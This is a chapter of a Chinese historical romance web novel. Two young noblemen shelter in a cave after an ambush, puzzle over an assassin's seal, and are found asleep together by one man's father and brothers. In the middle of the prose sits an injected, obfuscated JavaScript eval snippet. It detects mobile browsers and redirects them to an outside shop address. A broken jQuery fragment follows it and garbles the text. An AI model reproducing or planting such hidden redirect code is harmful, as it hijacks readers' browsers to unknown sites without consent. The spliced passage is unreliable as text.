“……那人说我不知分寸,挡了他人的道。”萧瑾舟与魏君泽回溯着坠崖那日的情景,“动手决绝狠辣,是奔着我的命来的。”
魏君泽眨了下眼,脑海中闪现与黑衣人交锋时瞥见的画面,他侧身在树枝堆里挑了根长枝,在泥地上边想边勾画。
萧瑾舟不知魏君泽在做什么,也前倾过身子,迎着火光看那地上的图案,“好像……有些眼熟……”
他转头换着角度细看,倏地眼眶大了几分,“啊,这图案……”
魏君泽侧头问,“如何?你之前见过?”
萧瑾舟缓缓的点了点头,嗯了一声,“之前林海夫人给过我一封林海与上头的人往来的信件,上面印着的私印模样与这地上的一模一样……”
他目光从那图案上移开,侧头问魏君泽,“你是从哪瞧来的?”
魏君泽把长枝往火堆里一扔,手支在膝盖上道:“那几个黑衣人的手腕处都纹有这个印记。”
萧瑾舟垂下眼又看向那图案,嘴里喃喃:“是太子?还是……帮着太子的人?又或是其他别有目的的人?”
在萧瑾舟还在垂目思索时,魏君泽歪头瞧着那图案,支在膝盖上的手捻了捻鼻尖,手指顺着图案轮廓虚画起来,随后他蹲起身在那泥地图案上涂涂改改了半晌。
“生春,你来看看。”魏君泽把位置空出来让萧瑾舟能看的清楚些,“你瞧这像个什么?”
萧瑾舟挪着身子凑上前看,细细端详下眉头微拧,他道:“是……‘徐’。”
魏君泽道:“嗯,把里头弯弯绕绕的边印去了,便是……”
“便是先帝时期通用的瑞鹤体写的‘徐’字。”魏君泽还未说完,萧瑾舟便接下了话头,“‘徐’……这朝中并没有姓‘徐’的官员……”
魏君泽瞧着萧瑾舟强撑着疲惫思索的样子道:“看这字体怕是先帝时的事,等回去了再问问刘太傅和蒋阁老吧。”
他把萧瑾舟按坐回身,伸手把支在火堆上的烤兔子拿下来,掰了条兔腿用树叶包着递给萧瑾舟,“来吃点吧,从昨日到现在还什么都没吃过呢,给你尝尝三公子我烤的兔子,香飘十里不为过!”
萧瑾舟双手接过滋滋冒油的兔腿,道:“这么大的雨,你去何处抓的兔子?”
魏君泽被烫的跳手,他吹了吹手指,认真撕着兔肉笑道:“你刚才睡着了,我便寻摸着找些吃的,里头深处有个洞,我点火在洞口熏了熏,正巧了,摸着窝兔子!我就给他一窝端了。”
萧瑾舟道:“那一窝兔子算是遇着活阎王了。”
魏君泽把盛着兔肉的树叶放到萧瑾舟跟前,道:“哎,那叫救人一命胜造七级浮屠,兔老爷可是救了我们两人的命呢?咱把它们好好吃了,超度超度。”
萧瑾舟无言笑了一声,对着兔腿吹了吹,咬了一口,魏君泽双手搭在膝盖上,含笑看着问道:“如何?是不是很好吃?”
萧瑾舟道:“好吃,比前日御厨做的炙肉还好吃,都道君子远庖厨,时序你倒是例外。”
“那都是迂腐之人的鄙陋之见。”魏君泽咬了口兔肉,他把骨头在萧瑾舟眼前晃了晃,“我自小便看着我老爹时不时给我娘煮夜宵做甜汤的,他还会带着我们兄弟三人去山林子里打猎,我这烤兔子的手艺就是跟他学的。”
“老爹说过是人都要食五谷,填饱五脏庙,那君子就不是人了?什么君子远庖厨不过就是嫌灶房污糟,懒于洗手做羹汤的借口罢了。”
萧瑾舟点头浅笑道:“说的不错,大将军倒是个通透豁达之人。”
魏君泽道:“嗯,老爹就是看着凶,但他其实是个开明讲理的人。”
两人吃完后又拥在一起靠在石壁上歇息,萧瑾舟想了想道:“时序,我想请你帮个忙查个事情。”
魏君泽道:“什么忙你说便是,我们之间还说什么请不请的,听着生分。”
萧瑾舟浅浅勾唇,“我想让你派人去铜山县查查。”
魏君泽一疑,“铜山县?”
“嗯。”萧瑾舟继续道:“铜山县前任县令是忘忧的父亲,他在宴饮时被设计陷害而死,如今在任的县令是樊述年一党的人。”
魏君泽道:“铜山县位处偏远,也并非什么地广物绕的大县,他们把人安插在铜山县属何意味?”
萧瑾舟道:“你说的也是我所疑虑的,但如今身处玉京,铜山县又太远实难查证,时序你可有办法让人去铜山县走一趟,查查究竟。”
魏君泽道:“好,等回去我便让老赵带人去走一趟。”
他低下头看萧瑾舟疲懒的样子道:“再睡会吧,我在呢,你安心睡。”
萧瑾舟弯曲的双腿又蜷了蜷,垂下的手搭在魏君泽干燥的手心里被紧紧握住,他眯眯合合的眼皮终于放了下来,疲惫的声音听上去带了些黏糊,“你也睡。”
魏君泽带笑侧身把萧瑾舟搂近,闭眼柔情道:“嗯,一起睡。”
***
魏临抬脚跳过窄流站稳后朝三人道:“咱们分两拨就在这附近找找。”
地上泥泞湿滑难走,魏廉一步一磕巴,扶了扶头上的斗笠,仔细着张开手保持着平衡往前走,刚得意着想要让魏清看看。
“小清子你看……我,哇——”,他后脚跟没踩稳一滑就要仰摔在地,还好被一旁的魏清抓住了衣领,“你小心些!脚往实里踩!”
魏廉两手抓住魏清拎着自己衣领的手,委屈巴巴道:“我练轻功,轻手轻脚惯了,后脚跟不着力,这会儿走的时间长了一时忘了,又,又飘了……”
魏清抿嘴,方才心里着急对魏廉话说的重了些,便抬手去帮魏廉扶好斗笠,道:“我是太着急了,又怕你也摔伤了,话说的冲了你别恼我。”
魏廉不在意笑道:“没事小清子,我都懂得,咱们快去找主子和侯爷吧。”
魏清嗯了一声。
另外魏兖和魏临正冒雨沿着石壁探寻。
魏兖吭哧了口气,“临儿你眼睛尖,看仔细些。”
魏临开玩笑道:“知道了老爹,怎么这会儿你也开始着急了?”
魏兖道:“哼,我是想到你娘疼那小子疼得紧,这雨势又不见小,晚些山路更难走,赶紧全乎的找着了带回去。”
魏临摇头好笑,突然远处另一端传来魏廉的呼喊声,声音被雨声盖住一时间听不大清。
“啪塔啪塔”踩着烂泥的跑步声由远及近,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618072|202080||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
随之而来的是越来越清晰的呼喊声,“找,找,找着啦!”
“啊——”魏廉一个没稳正面摔在泥地里,魏临迈步上前扶起魏廉,“廉小子你小心些,你刚才说什么?找到了?”
魏廉嘴里“呸呸”吐着泥沙,用袖子擦了擦脸,结果越擦越脏,彻底成了个黑脸小子,本还委屈摔了一跤,被魏临问话又回神笑出一口白牙道:“找到了,在那边的山洞里,小清子在那守着。”
三人连忙跑过去,刚走进山洞魏临还在调侃:“这边挡风又挡雨,三弟倒是会选地方。”
魏兖走近只见魏清尴尬的迎上来挡在面前,“大……将军……”
魏兖皱眉道:“怎么了,人不在里头?”
魏清嘴里喃喃:“在,在的……”眼神却下意识无助的望向正和脸上烂泥搏斗的魏廉,见人根本不看眼色,又泄气的轻叹了一声。
魏兖看着魏清这副像是有事又像是没事的样子,他侧身绕开魏清看去,“人呢?呃——”
抬起的步子顿住,魏兖瞪眼看着里头握手相拥,交颈依偎而眠的两人,一时说不上话。
魏清凑上来干笑道:“大将军,我先把主子叫醒吧。”
魏临上前看着这一幕,笑嘻嘻的咂舌对魏兖道:“三弟和侯爷感情真好啊,难得看三弟对朋友这般友爱,是吧爹。”
扣泥的魏廉这会儿也不扣泥了,一坨半干的泥块要掉不掉晃在下巴上,他张着嘴心颤的对魏清做着口型道:“怎么办啊!”
魏清瞥了眼魏兖,苦着脸冲魏廉轻摇了摇头。
魏兖捻了捻手指,眨眨眼只当自己多想,落了水失温相靠取暖是很正常的事,军营里赤膊靠在一块儿睡觉的还少吗?
想着他走上前探了探两人的颈侧,对后头三人道:“他们俩都在发热,该是睡晕过去了,临儿你们过来搭把手,先把他们带回去。”
魏临几人道:“哦,好!”
两人相拥得紧,费了魏临好大劲儿才分开,魏君泽被拉开时眉宇紧皱,嘴里还在断断续续的呓语,“生春,生春……”
魏临没听清,只擎了擎魏君泽的身子,把他的手臂架在自己肩膀上道:“廉小子过来搭把手,这小子沉得很!三弟你说什么呢,大哥来了带你出去了啊。”
魏清也上前扶起萧瑾舟,只是萧瑾舟比魏君泽晕得更沉,魏清一时没托住差点把人摔下去。
“小心。”魏兖一个跨步上前伸手扶住。
“还好大将军手快。”魏清舒了口气从魏兖手中接过萧瑾舟,他扶着人转身要走见魏兖还站在原地便问:“大将军你怎么了?”
魏兖额角抽跳了几下,他紧盯着萧瑾舟衣领间露出来的雪白狼牙久久不能回神。
魏临架着人走在前头,停下身转头问:“爹怎么了?不走吗?”
片刻后,魏兖朝几人挥挥手,“走吧,走吧,先出去吧。”
天蒙蒙亮,整个营地便开始收整列队返回玉京,与来时相反,长队里无一人敢嬉笑交谈,官员们面上被愁云笼罩,眼神交接时都带着不必言说的深意,时不时瞟过禁军队列间挂着白绸的马车,凋零的树叶像纸钱般飘飞在上空,可笑一场围猎成了送葬。